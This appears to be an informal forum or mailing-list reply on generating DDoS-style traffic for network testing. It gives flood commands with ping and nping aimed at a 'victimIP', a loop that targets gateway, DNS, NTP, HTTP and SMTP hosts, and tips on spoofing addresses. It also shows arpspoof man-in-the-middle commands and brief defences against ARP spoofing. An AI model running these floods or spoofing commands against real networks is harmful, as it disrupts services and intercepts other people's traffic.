that's the best kind :-)
as long as it gets the job done and you get to control what it does

nice cpu hw
trick questions for those thinking of generating ddos traffic for testing
- ?? how much memory was needed to run the traffic generator
i assume around 1GB of memory for 1gigE interface and i still
can purposely run out of memory while some apps are running
at 10gigE pci card,
you'd probably want at least 12GB - 16GB of memory
- some "poor mans apps" to generate traffic ... start w/ nping or hping
# generate 1,000 Mbit/sec of junk .. floodig is trivial ...
ping -i 0.001 -s 2000 victimIP#
nping --data-length 2000 --rate 1000 victimIP#
socat
iperf ...
#
# generate udp or icmp or arp or tcp traffic
#
# add options to generate large-sized packets
# add options to generate 10Gbit/sec ( number of packet/sec )
#
# play around with tcp headers
# add options to send MTU=1501 byte but NOT set DF
# add options to send ACK but no request
#
# add options to spoof source and desitination address and ports
#
# if the host machine become un-available, you've got a problem
#
for host in gw dns ntp http smtp
for protocol in arp icmp udp tcp
nping --protocol [ options ] host.example.com
# hping is nice too
done
done
# for bonus arp fun ...
attacker# arpspoof gateway victim
attacker# arpspoof victim gateway
# prevent mitm with: use hard coded arp "/etc/ethers" for linux
use OpenSSL certs to flag a warning when "attacker" inserted
itself in between gateway and un-aware victim
pixie dust
